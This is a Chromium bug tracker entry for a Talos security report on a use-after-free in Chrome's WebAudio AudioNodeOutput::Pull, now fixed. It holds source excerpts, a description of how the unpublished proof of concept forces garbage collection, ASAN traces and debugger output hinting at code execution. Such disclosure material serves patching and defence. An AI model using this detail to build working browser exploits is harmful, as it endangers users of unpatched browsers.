Starred by 6 users

Owner:	rtoy@chromium.org **Email to this user bounced**
CC:	amyressler@google.com adetaylor@chromium.org janag...@google.com pbomm...@chromium.org scheib@chromium.org hongchan@chromium.org
Status:	Fixed *(Closed)*
Components:	Blink>WebAudio
Modified:	Sep 15, 2021
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Android, Windows, Chrome, Mac, Fuchsia, Lacros
Pri:	1
Type:	Bug-Security

Hotlist-Merge-Review
Security_Impact-Stable
Deadline-Exceeded
Security_Severity-High
reward-7500
allpublic
reward-inprocess
Unreproducible
CVE_description-submitted
Target-89
Target-90
merge-merged-4240
reward_to-piotr_at_thelead82.com
M-91
LTR-Merged-86
LTS-Security-86
Target-91
external_security_report
merge-merged-4430
merge-merged-90
external_security_bug
merge-merged-4472

Issue 1176218: Security: TALOS-2021-1241 Google Chrome WebAudio blink::AudioNodeOutput::Pull code execution vulnerability

Reported by vulnd...@sourcefire.com on Tue, Feb 9, 2021, 10:01 AM EST

Code

Summary

A code execution vulnerability exists in the WebAudio blink::AudioNodeOutput::Pull functionality of Google Chrome 90.0.4405.0 (Build) (64-bit) and 88.0.4324.146 (Official version) (64-bit). A specially crafted web page can lead to use after free. An attacker could exploit this vulnerability by tricking a user into opening a specially crafted web page.

Tested Versions

Google Chrome 88.0.4324.146 (Official version) (64-bit)
Google Chrome 90.0.4405.0 (Build) (64-bit)

Product URLs

https://www.google.com/chrome/

CVSSv3 Score

8.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

CWE

CWE-416 - Use After Free

Details

Google Chrome is a cross-platform web browser developed by Google. Web Audio API is a high-level JavaScript API for processing and synthesizing audio in web applications.

This vulnerability happens in Web Audio functionality of Google Chrome browser.

After the supplied PoC is executed by the browser (for example when user visits a special, malicious web page), Chrome crashes inside blink::AudioNodeOutput::Pull function. This situation happens because already freed memory region in_place_bus (AudioBus pointer) is provided to the AudioNodeOutput::Pull function:

```
// from: https://chromium.googlesource.com/chromium/src/+/master/third_party/blink/renderer/modules/webaudio/audio_node_output.cc
118   AudioBus* AudioNodeOutput::Pull(AudioBus* in_place_bus,
119                                   uint32_t frames_to_process) {
120   DCHECK(GetDeferredTaskHandler().IsAudioThread());
121   DCHECK(rendering_fan_out_count_ > 0 || rendering_param_fan_out_count_ > 0);
122
123   // Causes our AudioNode to process if it hasn't already for this render
124   // quantum.  We try to do in-place processing (using inPlaceBus) if at all
125   // possible, but we can't process in-place if we're connected to more than one
126   // input (fan-out > 1).  In this case pull() is called multiple times per
127   // rendering quantum, and the processIfNecessary() call below will cause our
```

```
128   // node to process() only the first time, caching the output in
129   // m_internalOutputBus for subsequent calls.
130
131   is_in_place_ =                                          // use after free
132       in_place_bus && in_place_bus->NumberOfChannels() == NumberOfChannels() &&
133       (rendering_fan_out_count_ + rendering_param_fan_out_count_) == 1;
134
135   in_place_bus_ = is_in_place_ ? in_place_bus : nullptr;
136
137   Handler().ProcessIfNecessary(frames_to_process);
138   return Bus();
139 }
```

Looking at the core part of the POC which causes the crash, we can notice that an important memory region (AudioNode object et al.) is allocated during the WebAudio createGain() call and connected to the output - the connect() method of the AudioNode interface lets you connect one of the node's outputs to a target. During the loop itself new Float32Array/Uint8Array is used to allocate contiguous memory, this is to force the garbage collector to work. A try-except block is used because due to large allocation requests it is possible to fail with "Uncaught RangeError: Array buffer allocation failed garbage collector".

While garbage collection is performed the audio rendering thread is still referring to the AudioNode (AudioOutput) which is already freed, leading to use after-free. It is important to note that the malicious javascript must utilize "indirect" calling procedures like setInterval / setTimeout / meta refresh to cause this use after free vulnerability.

As we can see in the ASAN crash output, target memory region was allocated by thread T0 and later freed by thread T0. However thread T47 was not aware this region was already freed, leading to use-after-free vulnerability.

For example (output from modified chrome engine):

```
tid=0x00004cbc -> Dispose: DISPOSING OUTPUTS
tid=0x00004cbc -> Dispose: DISPOSING OUTPUTS output = 000056D916E08660
tid=0x00005434 -> void __cdecl blink::AudioNodeInput::SumAllConnections(scoped_refptr<blink::AudioBus>, uint32_t):  NumberOfRenderingConnections = 2
tid=0x00005434 -> void __cdecl blink::AudioNodeInput::SumAllConnections(scoped_refptr<blink::AudioBus>, uint32_t):  got output = 000056D916E08660 (i = 0)
```

We can see that audio output object 0x000056D916E08660 is requested for disposal in thread 0x4cbc but still referenced afterwards by SumAllConnections function in different thread (0x5434) - after it was already freed.

Code snippet below:

```
// audio_node.cc
void AudioHandler::PullInputs(uint32_t frames_to_process) {
  DCHECK(Context()->IsAudioThread());
  // Process all of the AudioNodes connected to our inputs.
  for (auto& input : inputs_)
    input->Pull(nullptr, frames_to_process);
}
```

Inside the pull function (of input object) SumAllConnections will be executed:

```
// from audio_node_input.cc
void AudioNodeInput::SumAllConnections(scoped_refptr<AudioBus> summing_bus,
                                       uint32_t frames_to_process) {
  DCHECK(GetDeferredTaskHandler().IsAudioThread());
  // We shouldn't be calling this method if there's only one connection, since
  // it's less efficient.
  //    DCHECK(numberOfRenderingConnections() > 1 ||
  //        handler().internalChannelCountMode() != AudioHandler::Max);
  DCHECK(summing_bus);
  summing_bus->Zero();
  AudioBus::ChannelInterpretation interpretation =
      Handler().InternalChannelInterpretation();
  for (unsigned i = 0; i < NumberOfRenderingConnections(); ++i) {          ; * get all outputs
    AudioNodeOutput* output = RenderingOutput(i);                    ; * this object (AudioNode) is already freed
    DCHECK(output);
    // Render audio from this output.
    AudioBus* connection_bus = output->Pull(nullptr, frames_to_process);       ; * will cause use after free
    // Sum, with unity-gain.
    summing_bus->SumFrom(*connection_bus, interpretation);
  }
}
```

Inside of this function we have a for loop going to all rendering outputs. From this loop blink::AudioNodeOutput::Pull functions gets executed with already freed AudioNode object. This leads to the use-after-free vulnerability.

Information from ASAN build:

Memory region was allocated here:

```
#0 0x7ff643eb429b in malloc C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:98
#1 0x7ffa2a4da88b in base::PartitionRoot<1>::AllocFlags C:\b\s\w\ir\cache\builder\src\base\allocator\partition_allocator\partition_root.h:1118
#2 0x7ffa2a4da88b in base::PartitionRoot<1>::Alloc C:\b\s\w\ir\cache\builder\src\base\allocator\partition_allocator\partition_root.h:1371
#3 0x7ffa2a4da88b in WTF::Partitions::FastMalloc(unsigned __int64, char const *)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\allocator\partitions.cc:283:33
#4 0x7ffa38433c39 in blink::AudioNodeOutput::operator new C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_output.h:44
#5 0x7ffa38433c39 in std::__1::make_unique C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include\memory:3043
#6 0x7ffa38433c39 in blink::AudioHandler::AddOutput(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node.cc:203:7
#7 0x7ffa392c344f in blink::GainHandler::GainHandler(class blink::AudioNode &, float, class blink::AudioParamHandler &)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.cc:47:3
#8 0x7ffa392c3ddb in blink::GainHandler::Create C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.cc:55
#9 0x7ffa392c3ddb in blink::GainNode::GainNode(class blink::BaseAudioContext &)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.cc:153:7
#10 0x7ffa392c43ef in blink::MakeGarbageCollectedTrait<class blink::GainNode>::Call<class blink::BaseAudioContext &>(class blink::BaseAudioContext &)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\heap.h:568:32
#11 0x7ffa392e9f37 in blink::`anonymous namespace'::CreateGainOperationCallback
...
```

And freed here:

```
#0 0x7ff643eb419b in free C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:82
#1 0x7ffa3843d131 in std::__1::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput> >::~unique_ptr
C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include\memory:2587
#2 0x7ffa3843d131 in WTF::VectorDestructor<1,std::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput> > >::Destruct
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\vector.h:109
#3 0x7ffa3843d131 in WTF::VectorTypeOperations<std::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput>
>,WTF::PartitionAllocator>::Destruct C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\vector.h:412
#4 0x7ffa3843d131 in WTF::Vector<class std::__1::unique_ptr<class blink::AudioNodeOutput, struct std::__1::default_delete<class blink::AudioNodeOutput>>, 0, class
WTF::PartitionAllocator>::Finalize(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\vector.h:1412:7
#5 0x7ffa38433445 in WTF::ConditionalDestructor<WTF::Vector<std::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput>
>,0,WTF::PartitionAllocator>,0>::~ConditionalDestructor C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\conditional_destructor.h:24
#6 0x7ffa38433445 in WTF::Vector<std::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput> >,0,WTF::PartitionAllocator>::~Vector
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\vector.h:1095
```

#7 0x7ffa38433445 in blink::AudioHandler::~AudioHandler(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node.cc:95:1
#8 0x7ffa392c42ed in blink::GainHandler::~GainHandler C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.h:43
#9 0x7ffa392c42ed in blink::GainHandler::`scalar deleting dtor'(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.h:43:7
#10 0x7ffa384377fe in WTF::ThreadSafeRefCounted<blink::AudioHandler,WTF::DefaultThreadSafeRefCountedTraits<blink::AudioHandler> >::DeleteInternal
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\thread_safe_ref_counted.h:64
#11 0x7ffa384377fe in WTF::DefaultThreadSafeRefCountedTraits<blink::AudioHandler>::Destruct
....
As for the stable Chrome releases (i.e. 85.0.4183.83). Debugger output indicates following:

```
5:019> .exr -1
ExceptionAddress: 00007ff9565a5342 (chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x0000000002bcdd02)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff
5:019> u @rip
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2bcdd02:
00007ff9`565a5342 488b01          mov     rax,qword ptr [rcx]           ; [1]
00007ff9`565a5345 4489f2          mov     edx,r14d
00007ff9`565a5348 ff5040          call    qword ptr [rax+40h]           ; [2]

5:019> ? @rcx
Evaluate expression: 58105524481556480 = 00ce6eaa`aa360000
5:019> db @rcx
00ce6eaa`aa360000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00ce6eaa`aa360010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

5:019> !address @rcx
Address 00ce6eaaaa360000 could not be mapped in any of the available regions
Stack trace:

# RetAddr           : Args to Child                                                   : Call Site
00 00007ff9`565a5c6e : 00000000`00000000 00000067`543ff8a0 00000067`543ff0e0 00000067`543ff5e0 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2bcdd02
01 00007ff9`565a5df3 : 00000067`543ff600 00000067`543ff5f8 00000067`543ff070 00000067`543ff078 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2bce62e
02 00007ff9`5635fe3f : 00000000`00000000 00000067`543ff5e0 00000000`00000000 00007ff9`b1a1b131 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2bce7b3
03 00007ff9`5635fa69 : 00000202`002b002b 00000000`00000000 00000000`00000000 00000000`00000000 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x29887ff
04 00007ff9`565a534b : 00000253`2c8575b0 00000000`00000000 00000000`00000000 00000000`00000000 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2988429
05 00007ff9`565a5c6e : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2bcdd0b
06 00007ff9`565a5df3 : 00003b88`c1b24340 00007ff9`561094fc 000036aa`aa6a0300 00007ff9`565a822d :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2bce62e
07 00007ff9`565a9eed : 00000000`00000000 014a9001`00000000 00000067`543ff368 00007ff9`52192f1f :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2bce7b3
08 00007ff9`56864790 : 00000253`2b9696b0 00000000`00000000 00000000`00000000 00000000`00000000 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2bd28ad
09 00007ff9`5686418b : 00000253`2b9696b0 00000253`29d00000 00000253`29d002b4 00007ff9`5214a8e0 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2e8d150
0a 00007ff9`549a2044 : 0000a4e3`d363c65a 00007ff9`4f467f28 0000fa35`014a97f3 00007ff9`4f467d19 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0x2e8cb4b
0b 00007ff9`50227583 : 00000000`00000000 0000fa35`014a94f3 00007ff9`b1184e80 00000000`00000004 :
chrome!RelaunchChromeBrowserWithNewCommandLineIfNeeded+0xfcaa04
0c 00007ff9`501f27fe : 00000253`2b9b1b00 00000000`00000000 00000000`00000000 00000000`00000000 : chrome!ovly_debug_event+0x65a0b3
0d 00007ff9`501ebfe4 : 00000067`543ff8a0 00000067`543ff8a8 00007ff9`4f4698e8 00000000`00000000 : chrome!ovly_debug_event+0x62532e
0e 00007ff9`5218d75c : 00000067`543ff938 00000253`29bfb350 00000000`00000000 00000000`00000000 : chrome!ovly_debug_event+0x61eb14
0f 00007ff9`b1176fd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
chrome!CrashForExceptionInNonABICompliantCodeRange+0x9f9eec
10 00007ff9`b1a1cec1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
11 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
RCX value looks like an invalid memory pointer. Assuming this can be somehow controlled by the attacker it may finally lead to code
execution because of the call instruction at 0x00007ff9`565a5348 [2].

Crash Information

CRASH DUMP


chrome.exe -javascript-harmony --js-flags=\ --expose-gc\  --no-sandbox --autoplay-policy=no-user-gesture-required "poc_min.html"
=================================================================
==9848==ERROR: AddressSanitizer: heap-use-after-free on address 0x11adc69f9920 at pc 0x7ffa39142c18 bp 0x004c4fbfee60 sp 0x004c4fbfeea8
WRITE of size 1 at 0x11adc69f9920 thread T47
    #0 0x7ffa39142c17 in blink::AudioNodeOutput::Pull(class blink::AudioBus *, unsigned int)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_output.cc:131:16
    #1 0x7ffa39145c66 in blink::AudioNodeInput::SumAllConnections(class scoped_refptr<class blink::AudioBus>, unsigned int)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_input.cc:128:40
    #2 0x7ffa39145ef8 in blink::AudioNodeInput::Pull(class blink::AudioBus *, unsigned int)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_input.cc:158:3
    #3 0x7ffa38436b69 in blink::AudioHandler::PullInputs(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node.cc:401:12
    #4 0x7ffa38435d66 in blink::AudioHandler::ProcessIfNecessary(unsigned int)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node.cc:353:5
    #5 0x7ffa39142bac in blink::AudioNodeOutput::Pull(class blink::AudioBus *, unsigned int)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_output.cc:137:13
    #6 0x7ffa39145c66 in blink::AudioNodeInput::SumAllConnections(class scoped_refptr<class blink::AudioBus>, unsigned int)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_input.cc:128:40
    #7 0x7ffa39145ef8 in blink::AudioNodeInput::Pull(class blink::AudioBus *, unsigned int)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_input.cc:158:3
    #8 0x7ffa3927d747 in blink::RealtimeAudioDestinationHandler::Render(class blink::AudioBus *, unsigned int, struct blink::AudioIOPosition const &, struct
blink::AudioCallbackMetric const &) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\realtime_audio_destination_node.cc:207:18
    #9 0x7ffa39dec617 in blink::AudioDestination::RequestRender(unsigned __int64, unsigned __int64, double, double, unsigned __int64)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_destination.cc:251:17
    #10 0x7ffa39deb464 in blink::AudioDestination::Render(class blink::WebVector<float *> const &, unsigned __int64, double, double, unsigned __int64)
C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_destination.cc:194:5
    #11 0x7ffa356eabaa in content::RendererWebAudioDeviceImpl::Render(class base::TimeDelta, class base::TimeTicks, int, class media::AudioBus *)
C:\b\s\w\ir\cache\builder\src\content\renderer\media\renderer_webaudiodevice_impl.cc:253:21
    #12 0x7ffa213dbb94 in media::SilentSinkSuspender::Render(class base::TimeDelta, class base::TimeTicks, int, class media::AudioBus *)
C:\b\s\w\ir\cache\builder\src\media\base\silent_sink_suspender.cc:84:14
    #13 0x7ffa213114d6 in media::AudioOutputDeviceThreadCallback::Process(unsigned int)
```

C:\b\s\w\ir\cache\builder\src\media\audio\audio_output_device_thread_callback.cc:80:21
    #14 0x7ffa212f747f in media::AudioDeviceThread::ThreadMain(void) C:\b\s\w\ir\cache\builder\src\media\audio\audio_device_thread.cc:95:18
    #15 0x7ffa290fef6f in base::`anonymous namespace'::ThreadFunc C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:111:13
    #16 0x7ff643ebdf88 in __asan::AsanThread::ThreadStart(unsigned __int64, struct __sanitizer::atomic_uintptr_t *) C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_thread.cpp:273
    #17 0x7ffa93ba7033 (C:\WINDOWS\System32\KERNEL32.DLL+0x180017033)
    #18 0x7ffa9499d0d0 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18004d0d0)

0x11adc69f9920 is located 32 bytes inside of 104-byte region [0x11adc69f9900,0x11adc69f9968)
freed by thread T0 here:
    #0 0x7ff643eb419b in free C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:82
    #1 0x7ffa3843d131 in std::__1::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput> >::~unique_ptr C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include\memory:2587
    #2 0x7ffa3843d131 in WTF::VectorDestructor<1,std::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput> > >::Destruct C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\vector.h:109
    #3 0x7ffa3843d131 in WTF::VectorTypeOperations<std::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput> >,WTF::PartitionAllocator>::Destruct C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\vector.h:412
    #4 0x7ffa3843d131 in WTF::Vector<class std::__1::unique_ptr<class blink::AudioNodeOutput, struct std::__1::default_delete<class blink::AudioNodeOutput>>, 0, class WTF::PartitionAllocator>::Finalize(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\vector.h:1412:7
    #5 0x7ffa38433445 in WTF::ConditionalDestructor<WTF::Vector<std::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput> >,0,WTF::PartitionAllocator>,0>::~ConditionalDestructor C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\conditional_destructor.h:24
    #6 0x7ffa38433445 in WTF::Vector<std::unique_ptr<blink::AudioNodeOutput,std::default_delete<blink::AudioNodeOutput> >,0,WTF::PartitionAllocator>::~Vector C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\vector.h:1095
    #7 0x7ffa38433445 in blink::AudioHandler::~AudioHandler(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node.cc:95:1
    #8 0x7ffa392c42ed in blink::GainHandler::~GainHandler C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.h:43
    #9 0x7ffa392c42ed in blink::GainHandler::`scalar deleting dtor'(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.h:43:7
    #10 0x7ffa384377fe in WTF::ThreadSafeRefCounted<blink::AudioHandler,WTF::DefaultThreadSafeRefCountedTraits<blink::AudioHandler> >::DeleteInternal C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\thread_safe_ref_counted.h:64
    #11 0x7ffa384377fe in WTF::DefaultThreadSafeRefCountedTraits<blink::AudioHandler>::Destruct C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\thread_safe_ref_counted.h:44
    #12 0x7ffa384377fe in base::RefCountedThreadSafe<blink::AudioHandler,WTF::DefaultThreadSafeRefCountedTraits<blink::AudioHandler> >::Release C:\b\s\w\ir\cache\builder\src\base\memory\ref_counted.h:401
    #13 0x7ffa384377fe in scoped_refptr<blink::AudioHandler>::Release C:\b\s\w\ir\cache\builder\src\base\memory\scoped_refptr.h:322
    #14 0x7ffa384377fe in scoped_refptr<blink::AudioHandler>::~scoped_refptr C:\b\s\w\ir\cache\builder\src\base\memory\scoped_refptr.h:224
    #15 0x7ffa384377fe in scoped_refptr<blink::AudioHandler>::reset C:\b\s\w\ir\cache\builder\src\base\memory\scoped_refptr.h:254
    #16 0x7ffa384377fe in scoped_refptr<blink::AudioHandler>::operator= C:\b\s\w\ir\cache\builder\src\base\memory\scoped_refptr.h:240
    #17 0x7ffa384377fe in blink::AudioNode::~AudioNode(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node.cc:603:14
    #18 0x7ffa3927c524 in blink::WaveShaperNode::`scalar deleting dtor'(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_destination_node.h:98:7
    #19 0x7ffa27fd85c8 in blink::HeapObjectHeader::Finalize C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\heap_page.cc:95
    #20 0x7ffa27fd85c8 in blink::NormalPage::ToBeFinalizedObject::Finalize(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\heap_page.cc:1402:11
    #21 0x7ffa27fd86d7 in blink::NormalPage::FinalizeSweep(enum blink::SweepResult) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\heap_page.cc:1411:12
    #22 0x7ffa27fd1215 in blink::BaseArena::InvokeFinalizersOnSweptPages(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\heap_page.cc:379:11
    #23 0x7ffa27fd17bc in blink::BaseArena::CompleteSweep(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\heap_page.cc:403:3
    #24 0x7ffa27fbffbf in blink::ThreadHeap::CompleteSweep(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\heap.cc:709:17
    #25 0x7ffa27fed3ce in blink::ThreadState::CompleteSweep(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\thread_state.cc:738:12
    #26 0x7ffa27fef515 in blink::ThreadState::StartIncrementalMarking(enum blink::BlinkGC::GCReason) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\thread_state.cc:486:3
    #27 0x7ffa27fff82b in blink::UnifiedHeapController::TracePrologue(enum v8::EmbedderHeapTracer::TraceFlags) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\unified_heap_controller.cc:64:18
    #28 0x7ffa25d56fc5 in v8::internal::MarkCompactCollector::Prepare(void) C:\b\s\w\ir\cache\builder\src\v8\src\heap\mark-compact.cc:846:44
    #29 0x7ffa25cb5fb5 in v8::internal::Heap::MarkCompact(void) C:\b\s\w\ir\cache\builder\src\v8\src\heap\heap.cc:2237:29
    #30 0x7ffa25cad492 in v8::internal::Heap::PerformGarbageCollection(enum v8::internal::GarbageCollector, enum v8::GCCallbackFlags) C:\b\s\w\ir\cache\builder\src\v8\src\heap\heap.cc:2032:7
    #31 0x7ffa25ca4c32 in v8::internal::Heap::CollectGarbage(enum v8::internal::AllocationSpace, enum v8::internal::GarbageCollectionReason, enum v8::GCCallbackFlags) C:\b\s\w\ir\cache\builder\src\v8\src\heap\heap.cc:1620:13
    #32 0x7ffa25cbf600 in v8::internal::Heap::AllocateExternalBackingStore(class std::__1::function<(unsigned __int64)> const &, unsigned __int64) C:\b\s\w\ir\cache\builder\src\v8\src\heap\heap.cc:2864:7
    #33 0x7ffa26100d35 in v8::internal::BackingStore::Allocate(class v8::internal::Isolate *, unsigned __int64, enum v8::internal::SharedFlag, enum v8::internal::InitializedFlag) C:\b\s\w\ir\cache\builder\src\v8\src\objects\backing-store.cc:245:37
    #34 0x7ffa257e3ca6 in v8::internal::`anonymous namespace'::ConstructBuffer C:\b\s\w\ir\cache\builder\src\v8\src\builtins\builtins-arraybuffer.cc:56:7
    #35 0x7ffa257e12c0 in v8::internal::Builtin_Impl_ArrayBufferConstructor C:\b\s\w\ir\cache\builder\src\v8\src\builtins\builtins-arraybuffer.cc:92:12
    #36 0x7ffa257e02be in v8::internal::Builtin_ArrayBufferConstructor(int, unsigned __int64 *, class v8::internal::Isolate *) C:\b\s\w\ir\cache\builder\src\v8\src\builtins\builtins-arraybuffer.cc:70:1
    #37 0x7ffa3b2e4f1b in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (e:\lab\chrome_asan\chrome.dll+0x19c2c4f1b)
    #38 0x7ffa3b27ba40 in Builtins_JSBuiltinsConstructStub (e:\lab\chrome_asan\chrome.dll+0x19c25ba40)
    #39 0x7ffa3b353f61 in Builtins_CreateTypedArray (e:\lab\chrome_asan\chrome.dll+0x19c333f61)
    #40 0x7ffa3b2db2a0 in Builtins_TypedArrayConstructor (e:\lab\chrome_asan\chrome.dll+0x19c2bb2a0)
    #41 0x7ffa3b27ba40 in Builtins_JSBuiltinsConstructStub (e:\lab\chrome_asan\chrome.dll+0x19c25ba40)
    #42 0x7ffa3b372be7 in Builtins_ConstructHandler (e:\lab\chrome_asan\chrome.dll+0x19c352be7)

previously allocated by thread T0 here:
    #0 0x7ff643eb429b in malloc C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:98
    #1 0x7ffa2a4da88b in base::PartitionRoot<1>::AllocFlags C:\b\s\w\ir\cache\builder\src\base\allocator\partition_allocator\partition_root.h:1118
    #2 0x7ffa2a4da88b in base::PartitionRoot<1>::Alloc C:\b\s\w\ir\cache\builder\src\base\allocator\partition_allocator\partition_root.h:1371
    #3 0x7ffa2a4da88b in WTF::Partitions::FastMalloc(unsigned __int64, char const *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\wtf\allocator\partitions.cc:283:33
    #4 0x7ffa38433c39 in blink::AudioNodeOutput::operator new C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_output.h:44
    #5 0x7ffa38433c39 in std::__1::make_unique C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include\memory:3043
    #6 0x7ffa38433c39 in blink::AudioHandler::AddOutput(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node.cc:203:7
    #7 0x7ffa392c344f in blink::GainHandler::GainHandler(class blink::AudioNode &, float, class blink::AudioParamHandler &) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.cc:47:3
    #8 0x7ffa392c3ddb in blink::GainHandler::Create C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.cc:55
    #9 0x7ffa392c3ddb in blink::GainNode::GainNode(class blink::BaseAudioContext &) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\gain_node.cc:153:7
    #10 0x7ffa392c43ef in blink::MakeGarbageCollectedTrait<class blink::GainNode>::Call<class blink::BaseAudioContext &>(class blink::BaseAudioContext &) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\heap\impl\heap.h:568:32
